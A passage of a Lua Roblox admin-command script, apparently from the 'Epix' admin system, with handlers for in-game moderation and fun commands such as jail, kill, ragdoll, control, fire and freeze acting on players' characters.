  4779. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") for l,k in next,v.Backpack:children() do if k and k.ClassName=='Tool' or k.ClassName=='HopperBin' then k.Parent=tools end end v.Character.Torso.CFrame = cf end)
  4780. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso")
  4781. for l,k in next,k.Backpack:children() do if k and k.ClassName=='Tool' or k.ClassName=='HopperBin' then k.Parent=tools end end
  4782. v.Character.Torso.CFrame = cf end)
  4783. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  4784. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso")
  4785. for l,k in next,v.Backpack:children() do if k and k.ClassName=='Tool' or k.ClassName=='HopperBin' then k.Parent=tools end end
  4786. v.Character.Torso.CFrame = cf end)
  4787. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso")
  4788. for l,k in next,v.Backpack:children() do if k and k.ClassName=='Tool' or k.ClassName=='HopperBin' then k.Parent=tools end end
  4789. v.Character.Torso.CFrame = cf end)
  4790. end)
  4791. local bottom = top:Clone() bottom.Transparency = 1 bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  4792. local front = top:Clone() front.Transparency = 1 front.Reflectance = 0 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  4793. local back = front:Clone() back.Transparency = 1 back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  4794. local right = front:Clone() right.Transparency = 1 right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  4795. local left = right:Clone() left.Transparency = 1 left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  4796. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  4797. local msh2 = msh:Clone() msh2.Parent = back
  4798. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  4799. local msh4 = msh3:Clone() msh4.Parent = left
  4800. local brick = Instance.new('Part',mod)
  4801. local box = Instance.new('SelectionBox',brick)
  4802. box.Adornee=brick
  4803. box.Color=BrickColor.new('White')
  4804. brick.Anchored=true
  4805. brick.CanCollide=false
  4806. brick.Transparency=1
  4807. brick.Size=Vector3.new(5,7,5)
  4808. brick.CFrame=cf--*CFrame.new(0,-1,0)
  4809. v.Character.Torso.CFrame = cf
  4810. for l,k in next,v.Backpack:children() do
  4811. if k and k.ClassName=='Tool' or k.ClassName=='HopperBin' then
  4812. k.Parent=tools
  4813. end
  4814. end
  4815. end
  4816. end))
  4817. end
  4818. end
  4819.  
  4820. if msg:lower():sub(1,7) == "unjail " then
  4821. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  4822. for i, v in pairs(plrz) do
  4823. coroutine.resume(coroutine.create(function()
  4824. if v then
  4825. for a, jl in pairs(game.Workspace:children()) do
  4826. if jl.Name == v.Name .. " Epix Jail" then
  4827. jl:Destroy()
  4828. end
  4829. end
  4830. for lolz,m in pairs(game:service'Lighting':children()) do
  4831. if m.Name==v.Name..' ~ Epix Jail Tools' then
  4832. for j,tewl in pairs(m:children()) do
  4833. if tewl then
  4834. tewl.Parent=v.Backpack
  4835. end
  4836. end
  4837. end
  4838. end
  4839. game:service'Lighting'[v.Name..' ~ Jail Tools']:Destroy()
  4840. end
  4841. end))
  4842. end
  4843. end
  4844.  
  4845.  
  4846. if msg:lower():sub(1,11) == "starttools " then
  4847. local plrz = set.GetPlayers(plr, msg:lower():sub(12))
  4848. for i, v in pairs(plrz) do
  4849. coroutine.resume(coroutine.create(function()
  4850. if v and v:findFirstChild("Backpack") then
  4851. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  4852. end
  4853. end))
  4854. end
  4855. end
  4856.  
  4857. if msg:lower():sub(1,6) == "sword " then
  4858. local plrz = set.GetPlayers(plr, msg:lower():sub(7))
  4859. for i, v in pairs(plrz) do
  4860. coroutine.resume(coroutine.create(function()
  4861. if v and v:findFirstChild("Backpack") then
  4862. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  4863. sword.GripForward = Vector3.new(-1,0,0)
  4864. sword.GripPos = Vector3.new(0,0,-1.5)
  4865. sword.GripRight = Vector3.new(0,1,0)
  4866. sword.GripUp = Vector3.new(0,0,1)
  4867. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  4868. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  4869. set.LoadScript('LocalScript',[[
  4870. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  4871. local Damage = 15
  4872. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  4873. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  4874. SlashSound.Volume = 1
  4875. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  4876. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  4877. LungeSound.Volume = 1
  4878. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  4879. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  4880. UnsheathSound.Volume = 1
  4881. local last = 0
  4882. script.Parent.Handle.Touched:connect(function(hit)
  4883. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  4884. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  4885. hit.Parent.Humanoid:TakeDamage(Damage)
  4886. end
  4887. end)
  4888. script.Parent.Activated:connect(function()
  4889. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  4890. script.Parent.Enabled = false
  4891. local tick = game:service("RunService").Stepped:wait()
  4892. if tick - last <= .2 then
  4893. LungeSound:play()
  4894. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  4895. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  4896. wait(.2)
  4897. script.Parent.GripForward = Vector3.new(0,0,1)
  4898. script.Parent.GripRight = Vector3.new(0,-1,0)
  4899. script.Parent.GripUp = Vector3.new(-1,0,0)
  4900. wait(.3)
  4901. frc:Destroy() wait(.5)
  4902. script.Parent.GripForward = Vector3.new(-1,0,0)
  4903. script.Parent.GripRight = Vector3.new(0,1,0)
  4904. script.Parent.GripUp = Vector3.new(0,0,1)
  4905. else
  4906. SlashSound:play()
  4907. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  4908. end
  4909. last = tick
  4910. script.Parent.Enabled = true
  4911. end)
  4912. script.Parent.Equipped:connect(function(mouse)
  4913. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  4914. UnsheathSound:play()
  4915. script.Parent.Enabled = true
  4916. if not mouse then return end
  4917. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  4918. end)]],'SwordScript',false,sword)
  4919. end
  4920. end))
  4921. end
  4922. end
  4923.  
  4924. if msg:lower():sub(1,6) == "clone " then
  4925. local plrz = set.GetPlayers(plr, msg:lower():sub(7))
  4926. for i, v in pairs(plrz) do
  4927. coroutine.resume(coroutine.create(function()
  4928. if v and v.Character then
  4929. v.Character.Archivable = true
  4930. local cl = v.Character:Clone()
  4931. table.insert(set.objects,cl)
  4932. cl.Parent = game.Workspace
  4933. cl:MoveTo(v.Character:GetModelCFrame().p)
  4934. cl:MakeJoints()
  4935. v.Character.Archivable = false
  4936. end
  4937. end))
  4938. end
  4939. end
  4940.  
  4941. if msg:lower():sub(1,8) == "control " then
  4942. local plrz = set.GetPlayers(plr, msg:lower():sub(9))
  4943. for i, v in pairs(plrz) do
  4944. coroutine.resume(coroutine.create(function()
  4945. if v and v.Character then
  4946. v.Character.Humanoid.PlatformStand = true
  4947. local w = Instance.new("Weld", plr.Character.Torso )
  4948. w.Part0 = plr.Character.Torso
  4949. w.Part1 = v.Character.Torso
  4950. local w2 = Instance.new("Weld", plr.Character.Head)
  4951. w2.Part0 = plr.Character.Head
  4952. w2.Part1 = v.Character.Head
  4953. local w3 = Instance.new("Weld", plr.Character:findFirstChild("Right Arm"))
  4954. w3.Part0 = plr.Character:findFirstChild("Right Arm")
  4955. w3.Part1 = v.Character:findFirstChild("Right Arm")
  4956. local w4 = Instance.new("Weld", plr.Character:findFirstChild("Left Arm"))
  4957. w4.Part0 = plr.Character:findFirstChild("Left Arm")
  4958. w4.Part1 = v.Character:findFirstChild("Left Arm")
  4959. local w5 = Instance.new("Weld", plr.Character:findFirstChild("Right Leg"))
  4960. w5.Part0 = plr.Character:findFirstChild("Right Leg")
  4961. w5.Part1 = v.Character:findFirstChild("Right Leg")
  4962. local w6 = Instance.new("Weld", plr.Character:findFirstChild("Left Leg"))
  4963. w6.Part0 = plr.Character:findFirstChild("Left Leg")
  4964. w6.Part1 = v.Character:findFirstChild("Left Leg")
  4965. plr.Character.Head.face:Destroy()
  4966. for i, p in pairs(v.Character:children()) do
  4967. if p:IsA("BasePart") then
  4968. p.CanCollide = false
  4969. end
  4970. end
  4971. for i, p in pairs(plr.Character:children()) do
  4972. if p:IsA("BasePart") then
  4973. p.Transparency = 1
  4974. elseif p:IsA("Hat") then
  4975. p:Destroy()
  4976. end
  4977. end
  4978. v.Character.Parent = plr.Character
  4979. v.Character.Humanoid.Changed:connect(function() v.Character.Humanoid.PlatformStand = true end)
  4980. end
  4981. end))
  4982. end
  4983. end
  4984.  
  4985. if msg:lower():sub(1,8) == "refresh " then
  4986. local plrz = set.GetPlayers(plr, msg:lower():sub(9))
  4987. for i, v in pairs(plrz) do
  4988. coroutine.resume(coroutine.create(function()
  4989. local pos=v.Character.Torso.CFrame
  4990. local temptools={}
  4991. pcall(function() v.Character.Humanoid:UnequipTools() end)
  4992. wait()
  4993. for k,t in pairs(v.Backpack:children()) do
  4994. if t:IsA('Tool') or t:IsA('Hopperbin') then
  4995. table.insert(temptools,t)
  4996. end
  4997. end
  4998. v:LoadCharacter()
  4999. v.Character.Torso.CFrame=pos
  5000. for d,f in pairs(v.Character:children()) do
  5001. if f:IsA('ForceField') then f:Destroy() end
  5002. end
  5003. wait(1)
  5004. v.Backpack:ClearAllChildren()
  5005. for l,m in pairs(temptools) do
  5006. m:clone().Parent=v.Backpack
  5007. end
  5008. end))
  5009. end
  5010. end
  5011.  
  5012. if msg:lower():sub(1,5) == "kill " then
  5013. local plrz = set.GetPlayers(plr, msg:lower():sub(6))
  5014. for i, v in pairs(plrz) do
  5015. coroutine.resume(coroutine.create(function()
  5016. if v and v.Character then v.Character:BreakJoints() end
  5017. end))
  5018. end
  5019. end
  5020.  
  5021. if msg:lower():sub(1,8) == "respawn " then
  5022. local plrz = set.GetPlayers(plr, msg:lower():sub(9))
  5023. for i, v in pairs(plrz) do
  5024. coroutine.resume(coroutine.create(function()
  5025. if v and v.Character then v:LoadCharacter()
  5026. set.LoadOnClient(plr,[[game.Workspace.CurrentCamera.CameraType='Custom'
  5027. game.Workspace.CurrentCamera.CameraSubject=game.Players.LocalPlayer.Character.Humanoid
  5028. game.Workspace.CurrentCamera.FieldOfView=70]],false,set.AssignName())
  5029. end
  5030. end))
  5031. end
  5032. end
  5033.  
  5034. if msg:lower():sub(1,5) == "trip " then
  5035. local plrz = set.GetPlayers(plr, msg:lower():sub(6))
  5036. for i, v in pairs(plrz) do
  5037. coroutine.resume(coroutine.create(function()
  5038. if v and v.Character and v.Character:findFirstChild("Torso") then
  5039. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  5040. end
  5041. end))
  5042. end
  5043. end
  5044.  
  5045. if msg:lower():sub(1,5) == "stun " then
  5046. local plrz = set.GetPlayers(plr, msg:lower():sub(6))
  5047. for i, v in pairs(plrz) do
  5048. coroutine.resume(coroutine.create(function()
  5049. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5050. v.Character.Humanoid.PlatformStand = true
  5051. end
  5052. end))
  5053. end
  5054. end
  5055.  
  5056. if msg:lower():sub(1,8) == 'ragdoll ' then
  5057. local plrz = set.GetPlayers(plr, msg:lower():sub(9))
  5058. for i,v in pairs(plrz) do
  5059. coroutine.wrap(function()
  5060. if v and set.ChkTrueOwner(plr) or not set.ChkAdmin(v.Name,false) then
  5061. set.LoadOnClient(v,[[
  5062. Character = game.Players.LocalPlayer.Character
  5063. Humanoid = Character.Humanoid
  5064. Torso = Character.Torso
  5065. function OnDeath()
  5066. print("Death")-- HAHA
  5067. wait(0.00000001)
  5068. Humanoid.Parent = nil
  5069. if Torso then
  5070. local Head = Character:FindFirstChild("Head")
  5071. if Head then
  5072. local Neck = Instance.new("Weld")
  5073. Neck.Name = "Neck"
  5074. Neck.Part0 = Torso
  5075. Neck.Part1 = Head
  5076. Neck.C0 = CFrame.new(0, 1.5, 0)
  5077. Neck.C1 = CFrame.new()
  5078. Neck.Parent = Torso
  5079. end
  5080. local Limb = Character:FindFirstChild("Right Arm")
  5081. if Limb then
  5082.  
  5083. Limb.CFrame = Torso.CFrame * CFrame.new(1.5, 0, 0)
  5084. local Joint = Instance.new("Glue")
  5085. Joint.Name = "RightShoulder"
  5086. Joint.Part0 = Torso
  5087. Joint.Part1 = Limb
  5088. Joint.C0 = CFrame.new(1.5, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  5089. Joint.C1 = CFrame.new(-0, 0.5, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  5090. Joint.Parent = Torso
  5091.  
  5092. local B = Instance.new("Part")
  5093. B.TopSurface = 0
  5094. B.BottomSurface = 0
  5095. B.formFactor = "Symmetric"
  5096. B.Size = Vector3.new(1, 1, 1)
  5097. B.Transparency = 1
  5098. B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
  5099. B.Parent = Character
  5100. local W = Instance.new("Weld")
  5101. W.Part0 = Limb
  5102. W.Part1 = B
  5103. W.C0 = CFrame.new(0, -0.5, 0)
  5104. W.Parent = Limb
  5105.  
  5106. end
  5107. local Limb = Character:FindFirstChild("Left Arm")
  5108. if Limb then
  5109.  
  5110. Limb.CFrame = Torso.CFrame * CFrame.new(-1.5, 0, 0)
  5111. local Joint = Instance.new("Glue")
  5112. Joint.Name = "LeftShoulder"
  5113. Joint.Part0 = Torso
  5114. Joint.Part1 = Limb
  5115. Joint.C0 = CFrame.new(-1.5, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  5116. Joint.C1 = CFrame.new(0, 0.5, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  5117. Joint.Parent = Torso
  5118.  
  5119. local B = Instance.new("Part")
  5120. B.TopSurface = 0
  5121. B.BottomSurface = 0
  5122. B.formFactor = "Symmetric"
  5123. B.Size = Vector3.new(1, 1, 1)
  5124. B.Transparency = 1
  5125. B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
  5126. B.Parent = Character
  5127. local W = Instance.new("Weld")
  5128. W.Part0 = Limb
  5129. W.Part1 = B
  5130. W.C0 = CFrame.new(0, -0.5, 0)
  5131. W.Parent = Limb
  5132.  
  5133. end
  5134. local Limb = Character:FindFirstChild("Right Leg")
  5135. if Limb then
  5136.  
  5137. Limb.CFrame = Torso.CFrame * CFrame.new(0.5, -2, 0)
  5138. local Joint = Instance.new("Glue")
  5139. Joint.Name = "RightHip"
  5140. Joint.Part0 = Torso
  5141. Joint.Part1 = Limb
  5142. Joint.C0 = CFrame.new(0.5, -1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  5143. Joint.C1 = CFrame.new(0, 1, 0, 0, 0, 1, 0, 1, 0, -1, -0, -0)
  5144. Joint.Parent = Torso
  5145.  
  5146. local B = Instance.new("Part")
  5147. B.TopSurface = 0
  5148. B.BottomSurface = 0
  5149. B.formFactor = "Symmetric"
  5150. B.Size = Vector3.new(1, 1, 1)
  5151. B.Transparency = 1
  5152. B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
  5153. B.Parent = Character
  5154. local W = Instance.new("Weld")
  5155. W.Part0 = Limb
  5156. W.Part1 = B
  5157. W.C0 = CFrame.new(0, -0.5, 0)
  5158. W.Parent = Limb
  5159.  
  5160. end
  5161. local Limb = Character:FindFirstChild("Left Leg")
  5162. if Limb then
  5163.  
  5164. Limb.CFrame = Torso.CFrame * CFrame.new(-0.5, -2, 0)
  5165. local Joint = Instance.new("Glue")
  5166. Joint.Name = "LeftHip"
  5167. Joint.Part0 = Torso
  5168. Joint.Part1 = Limb
  5169. Joint.C0 = CFrame.new(-0.5, -1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  5170. Joint.C1 = CFrame.new(-0, 1, 0, -0, -0, -1, 0, 1, 0, 1, 0, 0)
  5171. Joint.Parent = Torso
  5172.  
  5173. local B = Instance.new("Part")
  5174. B.TopSurface = 0
  5175. B.BottomSurface = 0
  5176. B.formFactor = "Symmetric"
  5177. B.Size = Vector3.new(1, 1, 1)
  5178. B.Transparency = 1
  5179. B.CFrame = Limb.CFrame * CFrame.new(0, -0.5, 0)
  5180. B.Parent = Character
  5181. local W = Instance.new("Weld")
  5182. W.Part0 = Limb
  5183. W.Part1 = B
  5184. W.C0 = CFrame.new(0, -0.5, 0)
  5185. W.Parent = Limb
  5186.  
  5187. end
  5188. end
  5189. end
  5190. Humanoid.Died:connect(OnDeath)
  5191. Humanoid.Health=0
  5192. ]],false,set.AssignName())
  5193. end
  5194. end)()
  5195. end
  5196. end
  5197.  
  5198. if msg:lower():sub(1,7) == "unstun " then
  5199. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  5200. for i, v in pairs(plrz) do
  5201. coroutine.resume(coroutine.create(function()
  5202. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5203. v.Character.Humanoid.PlatformStand = false
  5204. end
  5205. end))
  5206. end
  5207. end
  5208.  
  5209. if msg:lower():sub(1,5) == "jump " then
  5210. local plrz = set.GetPlayers(plr, msg:lower():sub(6))
  5211. for i, v in pairs(plrz) do
  5212. coroutine.resume(coroutine.create(function()
  5213. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5214. v.Character.Humanoid.Jump = true
  5215. end
  5216. end))
  5217. end
  5218. end
  5219.  
  5220. if msg:lower():sub(1,4) == "sit " then
  5221. local plrz = set.GetPlayers(plr, msg:lower():sub(5))
  5222. for i, v in pairs(plrz) do
  5223. coroutine.resume(coroutine.create(function()
  5224. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  5225. v.Character.Humanoid.Sit = true
  5226. end
  5227. end))
  5228. end
  5229. end
  5230.  
  5231. if msg:lower():sub(1,10) == "invisible " then
  5232. local plrz = set.GetPlayers(plr, msg:lower():sub(11))
  5233. for i, v in pairs(plrz) do
  5234. coroutine.resume(coroutine.create(function()
  5235. if v and v.Character then
  5236. for a, obj in pairs(v.Character:children()) do
  5237. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  5238. end
  5239. end
  5240. end))
  5241. end
  5242. end
  5243.  
  5244. if msg:lower():sub(1,8) == "visible " then
  5245. local plrz = set.GetPlayers(plr, msg:lower():sub(9))
  5246. for i, v in pairs(plrz) do
  5247. coroutine.resume(coroutine.create(function()
  5248. if v and v.Character then
  5249. for a, obj in pairs(v.Character:children()) do
  5250. if obj:IsA("BasePart") and obj.Name~='HumanoidRootPart' then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  5251. end
  5252. end
  5253. end))
  5254. end
  5255. end
  5256.  
  5257. if msg:lower():sub(1,5) == "lock " then
  5258. local plrz = set.GetPlayers(plr, msg:lower():sub(6))
  5259. for i, v in pairs(plrz) do
  5260. coroutine.resume(coroutine.create(function()
  5261. if v and v.Character then
  5262. for a, obj in pairs(v.Character:children()) do
  5263. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  5264. end
  5265. end
  5266. end))
  5267. end
  5268. end
  5269.  
  5270. if msg:lower():sub(1,7) == "unlock " then
  5271. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  5272. for i, v in pairs(plrz) do
  5273. coroutine.resume(coroutine.create(function()
  5274. if v and v.Character then
  5275. for a, obj in pairs(v.Character:children()) do
  5276. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  5277. end
  5278. end
  5279. end))
  5280. end
  5281. end
  5282.  
  5283. if msg:lower():sub(1,8) == "explode " then
  5284. local plrz = set.GetPlayers(plr, msg:lower():sub(9))
  5285. for i, v in pairs(plrz) do
  5286. coroutine.resume(coroutine.create(function()
  5287. if v and v.Character and v.Character:findFirstChild("Torso") then
  5288. local ex = Instance.new("Explosion", game.Workspace)
  5289. ex.Position = v.Character.Torso.Position
  5290. ex.BlastRadius=20
  5291. end
  5292. end))
  5293. end
  5294. end
  5295.  
  5296. if msg:lower():sub(1,4) == "age " then
  5297. local plrz = set.GetPlayers(plr, msg:lower():sub(5))
  5298. for i, v in pairs(plrz) do
  5299. coroutine.resume(coroutine.create(function()
  5300. if v then set.Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  5301. end))
  5302. end
  5303. end
  5304.  
  5305. if msg:lower():sub(1,6) == "light " then
  5306. local chk1 = msg:lower():sub(7):find(" ")
  5307. local plrz = set.GetPlayers(plr, msg:lower():sub(7))
  5308. local str = BrickColor.new('Bright blue').Color
  5309. if chk1 then chk1 = chk1 + 6 plrz = set.GetPlayers(plr, msg:lower():sub(7,chk1-1))
  5310. local teststr = msg:sub(chk1+1)
  5311. if BrickColor.new(teststr) ~= nil then str = BrickColor.new(teststr).Color end
  5312. end
  5313. for i, v in pairs(plrz) do
  5314. coroutine.wrap(function()
  5315. if v and v.Character and v.Character:findFirstChild("Torso") then
  5316. local p=Instance.new('PointLight',v.Character.Torso)
  5317. table.insert(set.objects,p)
  5318. p.Color=str
  5319. p.Brightness=5
  5320. p.Range=15
  5321. end
  5322. end)()
  5323. end
  5324. end
  5325.  
  5326. if msg:lower():sub(1,8) == "unlight " then
  5327. local plrz = set.GetPlayers(plr, msg:lower():sub(9))
  5328. for i, v in pairs(plrz) do
  5329. coroutine.resume(coroutine.create(function()
  5330. if v and v.Character and v.Character:findFirstChild("Torso") then
  5331. for z, cl in pairs(v.Character.Torso:children()) do
  5332. if cl:IsA('PointLight') then cl:Destroy() end
  5333. end
  5334. end
  5335. end))
  5336. end
  5337. end
  5338.  
  5339. if msg:lower():sub(1,5) == "talk " then
  5340. local chk1 = msg:lower():sub(6):find(" ") + 5
  5341. local message = msg:sub(chk1+1)
  5342. for i,p in pairs(set.GetPlayers(plr, msg:lower():sub(6,chk1-1))) do
  5343. coroutine.wrap(function()
  5344. game:service('Chat'):Chat(p.Character.Head,message,Enum.ChatColor.Blue)
  5345. end)()
  5346. end
  5347. end
  5348.  
  5349. if msg:lower():sub(1,5) == "fire " then
  5350. local chk1 = msg:lower():sub(6):find(" ")
  5351. local plrz = set.GetPlayers(plr, msg:lower():sub(6))
  5352. local str = BrickColor.new('Bright orange').Color
  5353. if chk1 then chk1 = chk1 + 5
  5354. plrz = set.GetPlayers(plr, msg:lower():sub(6,chk1-1))
  5355. local teststr = msg:sub(chk1+1)
  5356. if BrickColor.new(teststr) ~= nil then str = BrickColor.new(teststr).Color end
  5357. end
  5358. for i, v in pairs(plrz) do
  5359. coroutine.wrap(function()
  5360. if v and v.Character and v.Character:findFirstChild("Torso") then
  5361. local f=Instance.new('Fire',v.Character.Torso)
  5362. local p=Instance.new('PointLight',v.Character.Torso)
  5363. table.insert(set.objects,f)
  5364. table.insert(set.objects,p)
  5365. p.Color=str
  5366. p.Brightness=5
  5367. p.Range=15
  5368. f.Color=str
  5369. f.SecondaryColor=str
  5370. end
  5371. end)()
  5372. end
  5373. end
  5374.  
  5375. if msg:lower():sub(1,7) == "unfire " then
  5376. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  5377. for i, v in pairs(plrz) do
  5378. coroutine.resume(coroutine.create(function()
  5379. if v and v.Character and v.Character:findFirstChild("Torso") then
  5380. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") or cl:IsA('PointLight') then cl:Destroy() end end
  5381. end
  5382. end))
  5383. end
  5384. end
  5385.  
  5386. if msg:lower():sub(1,6) == "smoke " then
  5387. local chk1 = msg:lower():sub(7):find(" ")
  5388. local plrz = set.GetPlayers(plr, msg:lower():sub(7))
  5389. local str = BrickColor.new('Bright orange').Color
  5390. if chk1 then chk1 = chk1 + 6
  5391. plrz = set.GetPlayers(plr, msg:lower():sub(7,chk1-1))
  5392. local teststr = msg:sub(chk1+1)
  5393. if BrickColor.new(teststr) ~= nil then str = BrickColor.new(teststr).Color end
  5394. end
  5395. for i, v in pairs(plrz) do
  5396. coroutine.wrap(function()
  5397. if v and v.Character and v.Character:findFirstChild("Torso") then
  5398. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(set.objects, cl)
  5399. cl.Color=str
  5400. end
  5401. end)()
  5402. end
  5403. end
  5404.  
  5405. if msg:lower():sub(1,8) == "unsmoke " then
  5406. local plrz = set.GetPlayers(plr, msg:lower():sub(9))
  5407. for i, v in pairs(plrz) do
  5408. coroutine.resume(coroutine.create(function()
  5409. if v and v.Character and v.Character:findFirstChild("Torso") then
  5410. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  5411. end
  5412. end))
  5413. end
  5414. end
  5415.  
  5416. if msg:lower():sub(1,9) == "sparkles " then
  5417. local chk1 = msg:lower():sub(10):find(" ")
  5418. local plrz = set.GetPlayers(plr, msg:lower():sub(10))
  5419. local str = BrickColor.new('Bright blue').Color
  5420. if chk1 then chk1 = chk1 + 9 plrz = set.GetPlayers(plr, msg:lower():sub(10,chk1-1))
  5421. local teststr = msg:sub(chk1+1)
  5422. if BrickColor.new(teststr) ~= nil then str = BrickColor.new(teststr).Color end
  5423. end
  5424. for i, v in pairs(plrz) do
  5425. coroutine.wrap(function()
  5426. if v and v.Character and v.Character:findFirstChild("Torso") then
  5427. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(set.objects, cl)
  5428. local p=Instance.new('PointLight',v.Character.Torso) table.insert(set.objects, p)
  5429. p.Color=str
  5430. p.Brightness=5
  5431. p.Range=15
  5432. cl.SparkleColor=str
  5433. end
  5434. end)()
  5435. end
  5436. end
  5437.  
  5438. if msg:lower():sub(1,11) == "unsparkles " then
  5439. local plrz = set.GetPlayers(plr, msg:lower():sub(12))
  5440. for i, v in pairs(plrz) do
  5441. coroutine.resume(coroutine.create(function()
  5442. if v and v.Character and v.Character:findFirstChild("Torso") then
  5443. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") or cl:IsA('PointLight') then cl:Destroy() end end
  5444. end
  5445. end))
  5446. end
  5447. end
  5448.  
  5449. if msg:lower():sub(1,3) == "ff " then
  5450. local plrz = set.GetPlayers(plr, msg:lower():sub(4))
  5451. for i, v in pairs(plrz) do
  5452. coroutine.resume(coroutine.create(function()
  5453. if v and v.Character then Instance.new("ForceField", v.Character) end
  5454. end))
  5455. end
  5456. end
  5457.  
  5458. if msg:lower():sub(1,5) == "unff " then
  5459. local plrz = set.GetPlayers(plr, msg:lower():sub(6))
  5460. for i, v in pairs(plrz) do
  5461. coroutine.resume(coroutine.create(function()
  5462. if v and v.Character then
  5463. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  5464. end
  5465. end))
  5466. end
  5467. end
  5468.  
  5469. if msg:lower():sub(1,7) == "punish " then
  5470. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  5471. for i, v in pairs(plrz) do
  5472. coroutine.resume(coroutine.create(function()
  5473. if v and v.Character then
  5474. v.Character.Parent = game:service("Lighting")
  5475. end
  5476. end))
  5477. end
  5478. end
  5479.  
  5480. if msg:lower():sub(1,9) == "unpunish " then
  5481. local plrz = set.GetPlayers(plr, msg:lower():sub(10))
  5482. for i, v in pairs(plrz) do
  5483. coroutine.resume(coroutine.create(function()
  5484. if v and v.Character then
  5485. v.Character.Parent = game:service("Workspace")
  5486. v.Character:MakeJoints()
  5487. end
  5488. end))
  5489. end
  5490. end
  5491.  
  5492. if msg:lower():sub(1,7) == "freeze " then
  5493. local plrz = set.GetPlayers(plr, msg:lower():sub(8))
  5494. for i, v in pairs(plrz) do
  5495. coroutine.resume(coroutine.create(function()
  5496. if v and v.Character and v.Character:findFirstChild("Humanoid") then
